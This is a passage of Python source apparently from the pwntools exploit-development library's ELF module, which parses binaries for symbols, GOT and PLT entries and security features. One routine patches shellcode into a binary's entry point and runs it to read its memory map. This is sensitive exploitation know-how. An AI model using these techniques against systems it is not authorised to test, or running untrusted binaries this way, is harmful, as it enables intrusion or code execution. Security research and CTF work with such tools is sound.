SHN_INDICES\nfrom elftools.elf.descriptions import describe_e_type\nfrom elftools.elf.dynamic import DynamicSection\nfrom elftools.elf.elffile import ELFFile\nfrom elftools.elf.enums import ENUM_GNU_PROPERTY_X86_FEATURE_1_FLAGS\nfrom elftools.elf.gnuversions import GNUVerDefSection\nfrom elftools.elf.relocation import RelocationSection, RelrRelocationSection\nfrom elftools.elf.sections import SymbolTableSection\nfrom elftools.elf.segments import InterpSegment\n\n# See https://github.com/Gallopsled/pwntools/issues/1189\ntry:\n    from elftools.elf.enums import ENUM_P_TYPE\nexcept ImportError:\n    from elftools.elf.enums import ENUM_P_TYPE_BASE as ENUM_P_TYPE\n\nimport intervaltree\n\nfrom pwnlib import adb\nfrom pwnlib import qemu\nfrom pwnlib.asm import *\nfrom pwnlib.context import LocalContext\nfrom pwnlib.context import context\nfrom pwnlib.elf.config import kernel_configuration\nfrom pwnlib.elf.config import parse_kconfig\nfrom pwnlib.elf.datatypes import constants\nfrom pwnlib.elf.maps import CAT_PROC_MAPS_EXIT\nfrom pwnlib.elf.plt import emulate_plt_instructions\nfrom pwnlib.log import getLogger\nfrom pwnlib.term import text\nfrom pwnlib.tubes.process import process\nfrom pwnlib.util import misc\nfrom pwnlib.util import packing\nfrom pwnlib.util.fiddling import unhex\nfrom pwnlib.util.misc import align, align_down, which\nfrom pwnlib.util.sh_string import sh_string\n\nlog = getLogger(__name__)\n\n__all__ = ['load', 'ELF']\n\ndef _iter_symbols(sec):\n    # Cache result of iter_symbols.\n    if not hasattr(sec, '_symbols'):\n        sec._symbols = list(sec.iter_symbols())\n    return iter(sec._symbols)\n\nclass Function(object):\n    \"\"\"Encapsulates information about a function in an :class:`.ELF` binary.\n\n    Arguments:\n        name(str): Name of the function\n        address(int): Address of the function\n        size(int): Size of the function, in bytes\n        elf(ELF): Encapsulating ELF object\n    \"\"\"\n    def __init__(self, name, address, size, elf=None):\n        #: Name of the function\n        self.name = name\n\n        #: Address of the function in the encapsulating ELF\n        self.address = address\n\n        #: Size of the function, in bytes\n        self.size = size\n\n        #: Encapsulating ELF object\n        self.elf = elf\n\n    def __repr__(self):\n        return '%s(name=%r, address=%#x, size=%#x, elf=%r)' % (\n            self.__class__.__name__,\n            self.name,\n            self.address,\n            self.size,\n            self.elf\n            )\n\n    def __flat__(self):\n        return packing.pack(self.address)\n\n    def disasm(self):\n        return self.elf.disasm(self.address, self.size)\n\ndef load(*args, **kwargs):\n    \"\"\"Compatibility wrapper for pwntools v1\"\"\"\n    return ELF(*args, **kwargs)\n\nclass dotdict(dict):\n    \"\"\"Wrapper to allow dotted access to dictionary elements.\n\n    Is a real :class:`dict` object, but also serves up keys as attributes\n    when reading attributes.\n\n    Supports recursive instantiation for keys which contain dots.\n\n    Example:\n\n        >>> x = pwnlib.elf.elf.dotdict()\n        >>> isinstance(x, dict)\n        True\n        >>> x['foo'] = 3\n        >>> x.foo\n        3\n        >>> x['bar.baz'] = 4\n        >>> x.bar.baz\n        4\n    \"\"\"\n    def __missing__(self, name):\n        if isinstance(name, (bytes, bytearray)):\n            name = packing._decode(name)\n            return self[name]\n        raise KeyError(name)\n\n    def __getattr__(self, name):\n        if name in self:\n            return self[name]\n\n        name_dot = name + '.'\n        name_len = len(name_dot)\n        subkeys = {k[name_len:]: self[k] for k in self if k.startswith(name_dot)}\n\n        if subkeys:\n            return dotdict(subkeys)\n        raise AttributeError(name)\n\nclass ELF(ELFFile):\n    \"\"\"Encapsulates information about an ELF file.\n\n    Example:\n\n        .. code-block:: python\n\n           >>> bash = ELF(which('bash'))\n           >>> hex(bash.symbols['read'])\n           0x41dac0\n           >>> hex(bash.plt['read'])\n           0x41dac0\n           >>> u32(bash.read(bash.got['read'], 4))\n           0x41dac6\n           >>> print(bash.disasm(bash.plt.read, 16))\n           0:   ff 25 1a 18 2d 00       jmp    QWORD PTR [rip+0x2d181a]        # 0x2d1820\n           6:   68 59 00 00 00          push   0x59\n           b:   e9 50 fa ff ff          jmp    0xfffffffffffffa60\n    \"\"\"\n\n    # These class-level intitializers are only for ReadTheDocs\n    bits = 32\n    bytes = 4\n    path = '/path/to/the/file'\n    symbols = {}\n    got = {}\n    plt = {}\n    functions = {}\n    endian = 'little'\n    address = 0x400000\n    linker = None\n\n    # Whether to fill gaps in memory with zeroed pages\n    _fill_gaps = True\n\n\n    def __init__(self, path_or_bytes, checksec=True):\n        # elftools uses the backing file for all reads and writes\n        # in order to permit writing without being able to write to disk,\n        # mmap() the file.\n\n        if isinstance(path_or_bytes, (bytes, bytearray)) and path_or_bytes.startswith(b'\\x7FELF'):\n            self.file = self.mmap = mmap.mmap(-1, len(path_or_bytes))\n            self.mmap.write(path_or_bytes)\n            path = \"<bytes>\"\n        else:\n            #: :class:`file`: Open handle to the ELF file on disk\n            self.file = open(path_or_bytes,'rb')\n            #: :class:`mmap.mmap`: Memory-mapped copy of the ELF file on disk\n            self.mmap = mmap.mmap(self.file.fileno(), 0, access=mmap.ACCESS_COPY)\n            path = path_or_bytes\n\n        super(ELF,self).__init__(self.mmap)\n\n        #: :class:`str`: Path to the file\n        self.path = packing._need_text(os.path.abspath(path))\n\n        #: :class:`dotdict` of ``name`` to ``address`` for all symbols in the ELF\n        self.symbols = dotdict()\n\n        #: :class:`dotdict` of ``name`` to ``address`` for all Global Offset Table (GOT) entries\n        self.got = dotdict()\n\n        #: :class:`dotdict` of ``name`` to ``address`` for all Procedure Linkage Table (PLT) entries\n        self.plt = dotdict()\n\n        #: :class:`dotdict` of ``name`` to :class:`.Function` for each function in the ELF\n        self.functions = dotdict()\n\n        #: :class:`dict`: Linux kernel configuration, if this is a Linux kernel image\n        self.config = {}\n\n        #: :class:`tuple`: Linux kernel version, if this is a Linux kernel image\n        self.version = (0,)\n\n        #: :class:`str`: Linux kernel build commit, if this is a Linux kernel image\n        self.build = ''\n\n        #: :class:`str`: Endianness of the file (e.g. ``'big'``, ``'little'``)\n        self.endian = {\n            'ELFDATANONE': 'little',\n            'ELFDATA2LSB': 'little',\n            'ELFDATA2MSB': 'big'\n        }[self['e_ident']['EI_DATA']]\n\n        #: :class:`int`: Bit-ness of the file\n        self.bits = self.elfclass\n\n        #: :class:`int`: Pointer width, in bytes\n        self.bytes = self.bits // 8\n\n        #: :class:`str`: Architecture of the file (e.g. ``'i386'``, ``'arm'``).\n        #:\n        #: See: :attr:`.ContextType.arch`\n        self.arch = self.get_machine_arch()\n        if isinstance(self.arch, (bytes, str)):\n            self.arch = self.arch.lower()\n\n        self._sections = None\n        self._segments = None\n\n        #: IntervalTree which maps all of the loaded memory segments\n        self.memory = intervaltree.IntervalTree()\n        self._populate_memory()\n\n        # Is this a native binary? Should we be checking QEMU?\n        try:\n            with context.local(arch=self.arch):\n                #: Whether this ELF should be able to run natively\n                self.native = context.native\n        except AttributeError:\n            # The architecture may not be supported in pwntools\n            self.native = False\n\n        self._address = 0\n        if self.elftype != 'DYN':\n            for seg in self.iter_segments_by_type('PT_LOAD'):\n                addr = seg.header.p_vaddr\n                if addr == 0:\n                    continue\n                if addr < self._address or self._address == 0:\n                    self._address = addr\n\n        self.load_addr = self._address\n\n        # Try to figure out if we have a kernel configuration embedded\n        IKCFG_ST=b'IKCFG_ST'\n\n        for start in self.search(IKCFG_ST):\n            start += len(IKCFG_ST)\n            stop = next(self.search(b'IKCFG_ED'))\n\n            fileobj = BytesIO(self.read(start, stop-start))\n\n            # Python gzip throws an exception if there is non-Gzip data\n            # after the Gzip stream.\n            #\n            # Catch the exception, and just deal with it.\n            with gzip.GzipFile(fileobj=fileobj) as gz:\n                config = gz.read()\n\n            if config:\n                self.config = parse_kconfig(config.decode())\n\n        #: ``True`` if the ELF is a statically linked executable\n        self.statically_linked = bool(self.elftype == 'EXEC' and self.load_addr)\n\n        #: ``True`` if the ELF is an executable\n        self.executable = bool(self.elftype == 'EXEC')\n\n        for seg in self.iter_segments_by_type('PT_INTERP'):\n            self.executable = True\n\n            #: ``True`` if the ELF is statically linked\n            self.statically_linked = False\n\n            #: Path to the linker for the ELF\n            self.linker = self.read(seg.header.p_vaddr, seg.header.p_memsz)\n            self.linker = self.linker.rstrip(b'\\x00')\n\n        #: Operating system of the ELF\n        self.os = 'linux'\n\n        if self.linker and self.linker.startswith(b'/system/bin/linker'):\n            self.os = 'android'\n\n        #: ``True`` if the ELF is a shared library\n        self.library = not self.executable and self.elftype == 'DYN'\n\n        try:\n            self._populate_symbols()\n        except Exception as e:\n            log.warn(\"Could not populate symbols: %s\", e)\n\n        try:\n            self._populate_got()\n        except Exception as e:\n            log.warn(\"Could not populate GOT: %s\", e)\n\n        try:\n            self._populate_plt()\n        except Exception as e:\n            log.warn(\"Could not populate PLT: %s\", e)\n\n        self._populate_synthetic_symbols()\n        self._populate_functions()\n        self._populate_kernel_version()\n\n        self._print_checksec = checksec\n        if checksec:\n            self._describe()\n\n        self._libs = None\n        self._maps = None\n\n    def close(self):\n        \"\"\"close() -> None\n\n        Close the ELF file and release all resources associated with it.\n        \"\"\"\n        super(ELF, self).close()\n        self.file.close()\n\n    @staticmethod\n    @LocalContext\n    def from_assembly(assembly, *a, **kw):\n        \"\"\"from_assembly(assembly) -> ELF\n\n        Given an assembly listing, return a fully loaded ELF object\n        which contains that assembly at its entry point.\n\n        Arguments:\n\n            assembly(str): Assembly language listing\n            vma(int): Address of the entry point and the module's base address.\n\n        Example:\n\n            >>> e = ELF.from_assembly('nop; foo: int 0x80', vma = 0x400000)\n            >>> e.symbols['foo'] = 0x400001\n            >>> e.disasm(e.entry, 1)\n            '  400000:       90                      nop'\n            >>> e.disasm(e.symbols['foo'], 2)\n            '  400001:       cd 80                   int    0x80'\n        \"\"\"\n        return ELF(make_elf_from_assembly(assembly, *a, **kw))\n\n    @staticmethod\n    @LocalContext\n    def from_bytes(bytes, *a, **kw):\n        r\"\"\"from_bytes(bytes) -> ELF\n\n        Given a sequence of bytes, return a fully loaded ELF object\n        which contains those bytes at its entry point.\n\n        Arguments:\n\n            bytes(str): Shellcode byte string\n            vma(int): Desired base address for the ELF.\n\n        Example:\n\n            >>> e = ELF.from_bytes(b'\\x90\\xcd\\x80', vma=0xc000)\n            >>> print(e.disasm(e.entry, 3))\n                c000:       90                      nop\n                c001:       cd 80                   int    0x80\n        \"\"\"\n        return ELF(make_elf(bytes, extract=False, *a, **kw))\n\n    def process(self, argv=[], *a, **kw):\n        \"\"\"process(argv=[], *a, **kw) -> process\n\n        Execute the binary with :class:`.process`.  Note that ``argv``\n        is a list of arguments, and should not include ``argv[0]``.\n\n        Arguments:\n            argv(list): List of arguments to the binary\n            *args: Extra arguments to :class:`.process`\n            **kwargs: Extra arguments to :class:`.process`\n\n        Returns:\n            :class:`.process`\n        \"\"\"\n\n        p = process\n        if context.os == 'android':\n            p = adb.process\n        return p([self.path] + argv, *a, **kw)\n\n    def debug(self, argv=[], *a, **kw):\n        \"\"\"debug(argv=[], *a, **kw) -> tube\n\n        Debug the ELF with :func:`.gdb.debug`.\n\n        Arguments:\n            argv(list): List of arguments to the binary\n            *args: Extra arguments to :func:`.gdb.debug`\n            **kwargs: Extra arguments to :func:`.gdb.debug`\n\n        Returns:\n            :class:`.tube`: See :func:`.gdb.debug`\n        \"\"\"\n        import pwnlib.gdb\n        return pwnlib.gdb.debug([self.path] + argv, *a, **kw)\n\n    def _describe(self, *a, **kw):\n        log.info_once(\n            '%s\\n%-12s%s-%s-%s\\n%s',\n            repr(self.path),\n            'Arch:',\n            self.arch,\n            self.bits,\n            self.endian,\n            self.checksec(*a, **kw)\n        )\n\n    def get_machine_arch(self):\n        return {\n            ('EM_X86_64', 64): 'amd64',\n            ('EM_X86_64', 32): 'amd64', # x32 ABI\n            ('EM_386', 32): 'i386',\n            ('EM_486', 32): 'i386',\n            ('EM_ARM', 32): 'arm',\n            ('EM_AARCH64', 64): 'aarch64',\n            ('EM_MIPS', 32): 'mips',\n            ('EM_MIPS', 64): 'mips64',\n            ('EM_PPC', 32): 'powerpc',\n            ('EM_PPC64', 64): 'powerpc64',\n            ('EM_SPARC32PLUS', 32): 'sparc',\n            ('EM_SPARCV9', 64): 'sparc64',\n            ('EM_IA_64', 64): 'ia64',\n            ('EM_RISCV', 32): 'riscv32',\n            ('EM_RISCV', 64): 'riscv64',\n            ('EM_LOONGARCH', 64): 'loongarch64',\n        }.get((self['e_machine'], self.bits), self['e_machine'])\n\n    @property\n    def entry(self):\n        \"\"\":class:`int`: Address of the entry point for the ELF\"\"\"\n        return self.address + (self.header.e_entry - self.load_addr)\n    entrypoint = entry\n    start      = entry\n\n    @property\n    def elftype(self):\n        \"\"\":class:`str`: ELF type (``EXEC``, ``DYN``, etc)\"\"\"\n        return describe_e_type(self.header.e_type).split()[0]\n\n    def iter_segments(self):\n        # Yield and cache all the segments in the file\n        if self._segments is None:\n            self._segments = [self.get_segment(i) for i in range(self.num_segments())]\n\n        return iter(self._segments)\n\n    @property\n    def segments(self):\n        \"\"\"\n        :class:`list`: A list of :class:`elftools.elf.segments.Segment` objects\n            for the segments in the ELF.\n        \"\"\"\n        return list(self.iter_segments())\n\n    def iter_segments_by_type(self, t):\n        \"\"\"\n        Yields:\n            Segments matching the specified type.\n        \"\"\"\n        for seg in self.iter_segments():\n            if t == seg.header.p_type or t in str(seg.header.p_type):\n                yield seg\n\n    def iter_notes(self):\n        \"\"\"\n        Yields:\n            All the notes in the PT_NOTE segments.  Each result is a dictionary-\n            like object with ``n_name``, ``n_type``, and ``n_desc`` fields, amongst\n            others.\n        \"\"\"\n        for seg in self.iter_segments_by_type('PT_NOTE'):\n            for note in seg.iter_notes():\n                yield note\n\n    def iter_properties(self):\n        \"\"\"\n        Yields:\n            All the GNU properties in the PT_NOTE segments.  Each result is a dictionary-\n            like object with ``pr_type``, ``pr_datasz``, and ``pr_data`` fields.\n        \"\"\"\n        for note in self.iter_notes():\n            if note.n_type != 'NT_GNU_PROPERTY_TYPE_0':\n                continue\n            for prop in note.n_desc:\n                yield prop\n\n    def get_segment_for_address(self, address, size=1):\n        \"\"\"get_segment_for_address(address, size=1) -> Segment\n\n        Given a virtual address described by a ``PT_LOAD`` segment, return the\n        first segment which describes the virtual address.  An optional ``size``\n        may be provided to ensure the entire range falls into the same segment.\n\n        Arguments:\n            address(int): Virtual address to find\n            size(int): Number of bytes which must be available after ``address``\n                in **both** the file-backed data for the segment, and the memory\n                region which is reserved for the data.\n\n        Returns:\n            Either returns a :class:`.segments.Segment` object, or ``None``.\n        \"\"\"\n        for seg in self.iter_segments_by_type(\"PT_LOAD\"):\n            mem_start = seg.header.p_vaddr\n            mem_stop  = seg.header.p_memsz + mem_start\n\n            if not (mem_start <= address <= address+size < mem_stop):\n                continue\n\n            offset = self.vaddr_to_offset(address)\n\n            file_start = seg.header.p_offset\n            file_stop  = seg.header.p_filesz + file_start\n\n            if not (file_start <= offset <= offset+size < file_stop):\n                continue\n\n            return seg\n\n        return None\n\n    def iter_sections(self):\n        # Yield and cache all the sections in the file\n        if self._sections is None:\n            self._sections = [self.get_section(i) for i in range(self.num_sections())]\n\n        return iter(self._sections)\n\n    @property\n    def sections(self):\n        \"\"\"\n        :class:`list`: A list of :class:`elftools.elf.sections.Section` objects\n            for the segments in the ELF.\n        \"\"\"\n        return list(self.iter_sections())\n\n    @property\n    def dwarf(self):\n        \"\"\"DWARF info for the elf\"\"\"\n        return self.get_dwarf_info()\n\n    @property\n    def sym(self):\n        \"\"\":class:`dotdict`: Alias for :attr:`.ELF.symbols`\"\"\"\n        return self.symbols\n\n    @property\n    def address(self):\n        \"\"\":class:`int`: Address of the lowest segment loaded in the ELF.\n\n        When updated, the addresses of the following fields are also updated:\n\n        - :attr:`~.ELF.symbols`\n        - :attr:`~.ELF.got`\n        - :attr:`~.ELF.plt`\n        - :attr:`~.ELF.functions`\n\n        However, the following fields are **NOT** updated:\n\n        - :attr:`~.ELF.segments`\n        - :attr:`~.ELF.sections`\n\n        Example:\n\n            >>> bash = ELF('/bin/bash')\n            >>> read = bash.symbols['read']\n            >>> text = bash.get_section_by_name('.text').header.sh_addr\n            >>> bash.address += 0x1000\n            >>> read + 0x1000 == bash.symbols['read']\n            True\n            >>> text == bash.get_section_by_name('.text').header.sh_addr\n            True\n        \"\"\"\n        return self._address\n\n    @address.setter\n    def address(self, new):\n        delta     = new-self._address\n        update    = lambda x: x+delta\n\n        self.symbols = dotdict({k:update(v) for k,v in self.symbols.items()})\n        self.plt     = dotdict({k:update(v) for k,v in self.plt.items()})\n        self.got     = dotdict({k:update(v) for k,v in self.got.items()})\n        for f in self.functions.values():\n            f.address += delta\n\n        # Update our view of memory\n        memory = intervaltree.IntervalTree()\n\n        for begin, end, data in self.memory:\n            memory.addi(update(begin),\n                        update(end),\n                        data)\n\n        self.memory = memory\n\n        self._address = update(self.address)\n\n    def section(self, name):\n        \"\"\"section(name) -> bytes\n\n        Gets data for the named section\n\n        Arguments:\n            name(str): Name of the section\n\n        Returns:\n            :class:`str`: String containing the bytes for that section\n        \"\"\"\n        return self.get_section_by_name(name).data()\n\n    @property\n    def rwx_segments(self):\n        \"\"\":class:`list`: List of all segments which are writeable and executable.\n\n        See:\n            :attr:`.ELF.segments`\n        \"\"\"\n        if not self.nx:\n            return self.writable_segments\n\n        wx = P_FLAGS.PF_X | P_FLAGS.PF_W\n        return [s for s in self.segments if s.header.p_flags & wx == wx]\n\n    @property\n    def executable_segments(self):\n        \"\"\":class:`list`: List of all segments which are executable.\n\n        See:\n            :attr:`.ELF.segments`\n        \"\"\"\n        if not self.nx:\n            return list(self.segments)\n\n        return [s for s in self.segments if s.header.p_flags & P_FLAGS.PF_X]\n\n    @property\n    def writable_segments(self):\n        \"\"\":class:`list`: List of all segments which are writeable.\n\n        See:\n            :attr:`.ELF.segments`\n        \"\"\"\n        return [s for s in self.segments if s.header.p_flags & P_FLAGS.PF_W]\n\n    @property\n    def non_writable_segments(self):\n        \"\"\":class:`list`: List of all segments which are NOT writeable.\n\n        See:\n            :attr:`.ELF.segments`\n        \"\"\"\n        return [s for s in self.segments if not s.header.p_flags & P_FLAGS.PF_W]\n\n    @property\n    def libs(self):\n        \"\"\"Dictionary of ``{path: address}`` for every library loaded for this ELF.\n\n        .. warning::\n\n            Getting this attribute actually runs the executable.\n            Make sure that you trust the binary you are exploiting.\n            If it adds itself as ``DT_NEEDED``, has overlapping segments,\n            ambiguous headers, or employs text relocations, it can run arbitrary\n            code even though you are just inspecting it.\n            Running is the only reliable way to ensure all the libraries are\n            loaded from the correct paths, because some of them may change\n            loading logic.\n\n            Exploitability first noticed at CWTE CTF 2025.\n        \"\"\"\n        if self._libs is None:\n            self._populate_libraries()\n        return self._libs\n\n    @property\n    def maps(self):\n        \"\"\"Dictionary of ``{name: address}`` for every mapping in this ELF's address space.\n\n        .. warning::\n\n            Getting this attribute actually runs the executable.\n            Make sure that you trust the binary you are exploiting\n            (see :attr:`.ELF.libs`).\n        \"\"\"\n        if self._maps is None:\n            self._populate_libraries()\n        return self._maps\n\n    @property\n    def libc(self):\n        \"\"\":class:`.ELF`: If this :class:`.ELF` imports any libraries which contain ``/libc[.-]``,\n        and we can determine the appropriate path to it on the local\n        system, returns a new :class:`.ELF` object pertaining to that library.\n        Prints the `checksec` output of the library if it was printed for the original ELF too.\n\n        If not found, the value will be :const:`None`.\n\n        .. warning::\n\n            Getting this attribute actually runs the executable.\n            Make sure that you trust the binary you are exploiting\n            (see :attr:`.ELF.libs`).\n        \"\"\"\n        for lib in self.libs:\n            if '/libc.' in lib or '/libc-' in lib:\n                return ELF(lib, self._print_checksec)\n\n    def _populate_libraries(self):\n        \"\"\"\n        >>> from os.path import exists\n        >>> bash = ELF(which('bash'))\n        >>> all(map(exists, bash.libs.keys()))\n        True\n        >>> any(map(lambda x: 'libc' in x, bash.libs.keys()))\n        True\n        \"\"\"\n        # Patch some shellcode into the ELF and run it.\n        maps = self._patch_elf_and_read_maps()\n\n        self._maps = maps\n        self._libs = {}\n\n        for lib, address in maps.items():\n\n            # Filter out [stack] and such from the library listings\n            if lib.startswith('['):\n                continue\n\n            # Any existing files we can just use\n            if os.path.exists(lib):\n                self._libs[lib] = address\n\n            # Try etc/qemu-binfmt, as per Ubuntu\n            if not self.native:\n                ld_prefix = qemu.ld_prefix()\n\n                qemu_lib = os.path.join(ld_prefix, lib)\n                qemu_lib = os.path.realpath(qemu_lib)\n\n                if os.path.exists(qemu_lib):\n                    self._libs[qemu_lib] = address\n\n    def _patch_elf_and_read_maps(self):\n        r\"\"\"patch_elf_and_read_maps(self) -> dict\n\n        Read ``/proc/self/maps`` as if the ELF were executing.\n\n        This is done by replacing the code at the entry point with shellcode which\n        dumps ``/proc/self/maps`` and exits, and **actually executing the binary**.\n\n        Returns:\n            A ``dict`` mapping file paths to the lowest address they appear at.\n            Does not do any translation for e.g. QEMU emulation, the raw results\n            are returned.\n\n            If there is not enough space to inject the shellcode in the segment\n            which contains the entry point, returns ``{}``.\n\n        Doctests:\n\n            These tests are just to ensure that our shellcode is correct.\n\n            >>> for arch in CAT_PROC_MAPS_EXIT:\n            ...   context.clear()\n            ...   with context.local(arch=arch):\n            ...     sc = shellcraft.cat2(\"/proc/self/maps\")\n            ...     sc += shellcraft.exit()\n            ...     sc = asm(sc)\n            ...     sc = enhex(sc)\n            ...     assert sc == CAT_PROC_MAPS_EXIT[arch], (arch, sc)\n        \"\"\"\n\n        # Get our shellcode\n        sc = CAT_PROC_MAPS_EXIT.get(self.arch, None)\n\n        if sc is None:\n            log.error(\"Cannot patch /proc/self/maps shellcode into %r binary\", self.arch)\n\n        sc = unhex(sc)\n\n        # Ensure there is enough room in the segment where the entry point resides\n        # in order to inject our shellcode.\n        seg = self.get_segment_for_address(self.entry, len(sc))\n        if not seg:\n            log.warn_once(\"Could not inject code to determine memory mapping for %r: Not enough space\", self)\n            return {}\n\n        # Create our temporary file\n        # NOTE: We cannot use \"with NamedTemporaryFile() as foo\", because we cannot\n        # execute the file while the handle is open.\n        fd, path = tempfile.mkstemp()\n\n        # Close the file descriptor so that it may be executed\n        os.close(fd)\n\n        # Save off a copy of the ELF\n        self.save(path)\n\n        # Load a new copy of the ELF at the temporary file location\n        old = self.read(self.entry, len(sc))\n        try:\n            self.write(self.entry, sc)\n            self.save(path)\n        finally:\n            # Restore the original contents\n            self.write(self.entry, old)\n\n        # Make the file executable\n        os.chmod(path, 0o755)\n\n        # Run a copy of it, get the maps\n        try:\n            with context.silent:\n                io = process(path)\n                data = packing._decode(io.recvall(timeout=2))\n        except Exception:\n            log.warn_once(\"Injected /proc/self/maps code did not execute correctly\")\n            return {}\n\n        # Sometimes the original binary already fail to run, for example, in case glibc mismatches.\n        try:\n            int(data.split('-', 1)[0], 16)\n        except ValueError:\n            log.warn_once(\"Cannot execute `%s` to get /proc/self/maps\", self.path)\n            return {}\n\n        # Swap in the original ELF name\n        data = data.replace(path, self.path)\n\n        # All we care about in the data is the load address of each file-backed mapping,\n        # or each kernel-supplied mapping.\n        #\n        # For quick reference, the data looks like this:\n        # 7fcb025f2000-7fcb025f3000 r--p 00025000 fe:01 3025685  /lib/x86_64-linux-gnu/ld-2.23.so\n        # 7fcb025f3000-7fcb025f4000 rw-p 00026000 fe:01 3025685  /lib/x86_64-linux-gnu/ld-2.23.so\n        # 7fcb025f4000-7fcb025f5000 rw-p 00000000 00:00 0\n        # 7ffe39cd4000-7ffe39cf6000 rw-p 00000000 00:00 0        [stack]\n        # 7ffe39d05000-7ffe39d07000 r--p 00000000 00:00 0        [vvar]\n        result = {}\n        for line in data.splitlines():\n            if '/' in line:\n                index = line.index('/')\n            elif '[' in line:\n                index = line.index('[')\n            else:\n                continue\n\n            address, _ = line.split('-', 1)\n\n            address = int(address, 0x10)\n            name = line[index:]\n\n            result.setdefault(name, address)\n\n        # Remove the temporary file, best-effort\n        os.unlink(path)\n\n        return result\n\n    def _populate_functions(self):\n        \"\"\"Builds a dict of 'functions' (i.e. symbols of type 'STT_FUNC')\n        by function name that map to a tuple consisting of the func address and size\n        in bytes.\n        \"\"\"\n        for sec in self.sections:\n            if not isinstance(sec, SymbolTableSection):\n                continue\n\n            for sym in _iter_symbols(sec):\n                # Avoid duplicates\n                if sym.name in self.functions:\n                    continue\n                if sym.entry.st_info['type'] == 'STT_FUNC' and sym.entry.st_size != 0:\n                    name = sym.name\n                    if name not in self.symbols:\n                        continue\n                    addr = self.symbols[name]\n                    size = sym.entry.st_size\n                    self.functions[name] = Function(name, addr, size, self)\n\n    def _populate_symbols(self):\n        \"\"\"\n        >>> bash = ELF(which('bash'))\n        >>> bash.symbols['_start'] == bash.entry\n        True\n        \"\"\"\n\n        # Populate all of the \"normal\" symbols from the symbol tables\n        for section in self.sections:\n            if not isinstance(section, SymbolTableSection):\n                continue\n\n            for symbol in _iter_symbols(section):\n                if not symbol.name or symbol.entry.st_shndx == 'SHN_UNDEF':\n                    continue\n                self.symbols[symbol.name] = symbol.entry.st_value\n\n    def _populate_synthetic_symbols(self):\n        \"\"\"Adds symbols from the GOT and PLT to the symbols dictionary.\n\n        Does not overwrite any existing symbols, and prefers PLT symbols.\n\n        Synthetic plt.xxx and got.xxx symbols are added for each PLT and\n        GOT entry, respectively.\n\n        Example:bash.\n\n            >>> bash = ELF(which('bash'))\n            >>> bash.symbols.wcscmp == bash.plt.wcscmp\n            True\n            >>> bash.symbols.wcscmp == bash.symbols.plt.wcscmp\n            True\n            >>> bash.symbols.stdin  == bash.got.stdin\n            True\n            >>> bash.symbols.stdin  == bash.symbols.got.stdin\n            True\n        \"\"\"\n        for symbol, address in self.plt.items():\n            self.symbols.setdefault(symbol, address)\n            self.symbols['plt.' + symbol] = address\n\n        for symbol, address in self.got.items():\n            self.symbols.setdefault(symbol, address)\n            self.symbols['got.' + symbol] = address\n\n    def _populate_got(self):\n        \"\"\"Loads the symbols for all relocations.\n\n            >>> libc = ELF(which('bash')).libc\n            >>> assert 'strchrnul' in libc.got\n            >>> assert 'memcpy' in libc.got\n            >>> assert libc.got.strchrnul != libc.got.memcpy\n        \"\"\"\n        # Statically linked implies no relocations, since there is no linker\n        # Could always be self-relocating like Android's linker *shrug*\n        if self.statically_linked:\n            return\n\n        revsymbols = defaultdict(list)\n        for name, addr in self.symbols.items():\n            revsymbols[addr].append(name)\n\n        for section in self.sections:\n            # We are only interested in relocations\n            if not isinstance(section, (RelocationSection, RelrRelocationSection)):\n                continue\n\n            # Only get relocations which link to another section (for symbols)\n            if section.header.sh_link == SHN_INDICES.SHN_UNDEF:\n                continue\n\n            symbols = self.get_section(section.header.sh_link)\n\n            for rel in section.iter_relocations():\n                sym_idx  = rel.entry.r_info_sym\n\n                if not sym_idx and rel.is_RELA():\n                    # TODO: actually resolve relocations\n                    relocated = rel.entry.r_addend  # sufficient for now\n\n                    symnames = revsymbols[relocated]\n                    for symname in symnames:\n                        self.got[symname] = rel.entry.r_offset\n                    continue\n\n                symbol = symbols.get_symbol(sym_idx)\n\n                if symbol and symbol.name:\n                    self.got[symbol.name] = rel.entry.r_offset\n\n        if self.arch == 'mips':\n            try:\n                self._populate_mips_got()\n            except Exception as e:\n                log.warn(\"Could not populate MIPS GOT: %s\", e)\n\n        if not self.got:\n            log.warn(\"Did not find any GOT entries\")\n\n    def _populate_mips_got(self):\n        self._mips_got = {}\n        strings = self.get_section(self.header.e_shstrndx)\n\n        ELF_MIPS_GNU_GOT1_MASK = 0x80000000\n\n        if self.bits == 64:\n            ELF_MIPS_GNU_GOT1_MASK <<= 32\n\n        # Beginning of the GOT\n        got = self.dynamic_value_by_tag('DT_PLTGOT') or 0\n\n        # Find the beginning of the GOT pointers\n        got1_mask = (self.unpack(got) & ELF_MIPS_GNU_GOT1_MASK)\n        i = 2 if got1_mask else 1\n        self._mips_skip = i\n\n        # We don't care about local GOT entries, skip them\n        local_gotno = self.dynamic_value_by_tag('DT_MIPS_LOCAL_GOTNO')\n        got += local_gotno * context.bytes\n\n        # Iterate over the dynamic symbol table\n        dynsym = self.get_section_by_name('.dynsym')\n        symbol_iter = _iter_symbols(dynsym)\n\n        # 'gotsym' is the index of the first GOT symbol\n        gotsym = self.dynamic_value_by_tag('DT_MIPS_GOTSYM')\n        for i in range(gotsym):\n            next(symbol_iter)\n\n        # 'symtabno' is the total number of symbols\n        symtabno = self.dynamic_value_by_tag('DT_MIPS_SYMTABNO')\n\n        for i in range(symtabno - gotsym):\n            symbol = next(symbol_iter)\n            self._mips_got[i + gotsym] = got\n            self.got[symbol.name] = got\n            got += self.bytes\n\n    def _populate_plt(self):\n        \"\"\"Loads the PLT symbols\n\n        >>> path = pwnlib.data.elf.path\n        >>> for test in glob(os.path.join(path, 'test-*')):\n        ...     test = ELF(test)\n        ...     assert '__stack_chk_fail' in test.got, test\n        ...     if test.arch != 'ppc':\n        ...         assert '__stack_chk_fail' in test.plt, test\n        \"\"\"\n        if self.statically_linked:\n            log.debug(\"%r is statically linked, skipping GOT/PLT symbols\" % self.path)\n            return\n\n        if not self.got:\n            log.debug(\"%r doesn't have any GOT symbols, skipping PLT\" % self.path)\n            return\n\n        # This element holds an address associated with the procedure linkage table\n        # and/or the global offset table.\n        #\n        # Zach's note: This corresponds to the \".got.plt\" section, in a PIE non-RELRO binary.\n        #              This corresponds to the \".got\" section, in a PIE full-RELRO binary.\n        #              In particular, this is where EBX points when it points into the GOT.\n        dt_pltgot = self.dynamic_value_by_tag('DT_PLTGOT') or 0\n\n        # There are three PLTs we may need to search\n        plt = self.get_section_by_name('.plt')          # <-- Functions only\n        plt_got = self.get_section_by_name('.plt.got')  # <-- Functions used as data\n        plt_sec = self.get_section_by_name('.plt.sec')\n        plt_mips = self.get_section_by_name('.MIPS.stubs')\n\n        # Invert the GOT symbols we already have, so we can look up by address\n        inv_symbols = {v:k 